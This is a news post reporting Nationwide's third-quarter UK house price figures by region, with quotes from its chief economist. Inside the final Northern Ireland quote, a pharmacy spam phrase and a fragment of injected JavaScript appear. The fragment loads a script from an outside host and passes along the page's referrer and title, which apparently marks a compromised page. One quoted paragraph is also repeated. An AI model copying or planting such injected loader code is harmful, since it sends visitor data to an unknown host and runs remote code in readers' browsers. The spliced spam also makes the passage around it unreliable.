Mixed picture for house prices during the third quarter

Average house prices across the UK were down year-on-year in 8 out of 13 regions in quarter three, Nationwide reports – with Northern Ireland remaining the weakest region on an annual basis.

However, the dearth of new homes coming on to the market has been an important support for UK house prices over the past 12 months. The pace of new house building has slowed sharply in recent years. Combined with low levels of distressed sales (in part the result of the ultralow level of interest rates), this has prevented the market becoming oversupplied, despite the ongoing weakness in demand for homes in the aftermath of the 2008 economic downturn.

Scotland
Scotland saw a 0.5% seasonally adjusted quarter-on-quarter price fall in the third quarter. The annual rate of change improved from -3.2% to -1.1%. Prices were lower than one year ago in all areas, although Dunbartonshire & North Lanarkshire was the best performing area. Dundee & Angus remained the weakest performing area, with a 6% year-on-year fall.
Average house price £137,846

Wales
Q3 marked the third consecutive quarter of house price growth in Wales, with a 0.2% seasonally adjusted price rise. This resulted in an improvement in the annual rate of change from -0.9% to 0.2%. Cardiff was the weakest performing area, with a 2% year-on-year fall. The South Wales (East) sub-region, which includes Blaenau Gwent, Caerphilly, Merthyr Tydfil, Monmouthshire, Newport and Torfaen, was the strongest performing area.
Average house price £138,849

Northern Ireland
Northern Ireland was the weakest performing region this quarter, with a 4.1% seasonally adjusted fall. This resulted in deterioration in the annual rate of change from -4.1% to -9.3%, leaving average prices at their lowest level since Q2 2005.
The West was the only area to see price growth over the past 12 months. Belfast and the South East continue to experience the largest price falls.
Average house price £118,723

London
Annual price growth in London remained positive at 0.5%, despite a 1.9% quarter-on-quarter fall (seasonally adjusted). Whilst average prices remain a little shy of £300,000, they are just 2.9% below their peak. Hammersmith & Fulham, one of the capital’s most expensive boroughs, saw the strongest growth, with prices up 12% compared with last year. Neighbouring Ealing, however, saw the weakest performance, with a 5% fall.
Average house price £295,024

England
Average house prices in England were down 0.3% yearon-year in the third quarter, a similar outturn to the previous quarter.
The annual rate of change amongst the English regions currently sits within a narrow range, with less than four percentage points between the best and worst performing areas. The Outer Metropolitan region currently takes top spot, with prices up 1.3% year-onyear. Whilst there was continued weakness in the North West, with prices down 2.4% year-on-year. Amongst England’s major towns and cities, Bradford was the top performer, with prices up 9% year-on-year.

Main Points
Average prices were down year-on-year in 8 out of 13 regions in Q3
Outer Metropolitan region sees strongest growth in the quarter and also over the past 12 months
Northern Ireland remained the weakest region on an annual basis

Commenting on the figures, Robert Gardner, Nationwide’s Chief Economist, said: “For the UK as a whole, prices were virtually unchanged in the third quarter, with a 0.1% seasonally adjusted fall. There was a slight improvement in the annual rate of change from -1.2% to -0.5%.

“Most regions saw relatively small price movements this quarter, with seven regions seeing price rises and the remaining six seeing falls.

“The Outer Metropolitan region saw the strongest quarterly growth, with prices up 1.6% quarter-on-quarter. This pushed the annual rate of growth up to 1.3%, making the Outer Metropolitan the top performer on an annual basis.

“Amongst the other English regions, the North West saw the largest price falls over the last 12 months, with prices down 2.4% compared with Q3 2010.

“Amongst the other English regions, the North West saw the largest price falls over the last 12 months, with prices down 2.4% compared with Q3 2010.

“London saw a 1.9% quarter-on-quarter fall in Q3, although annual growth remained in positive territory at 0.5%.

“Scotland saw a 0.5% quarter-on-quarter fall, with the annual rate of change remaining negative at -1.1%.

“Wales recorded its third consecutive quarter of price rises, with a 0.2% increase in Q3. This pushed up the annual rate of change from -0.9% to 0.2%.

“It was a disappointing performance for Northern Ireland in Q3, with a 4.1% quarterly fall, leading to a deterioration in the annual rate of change from -4.1% to -9.3%. buy obagi tretinoin online s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>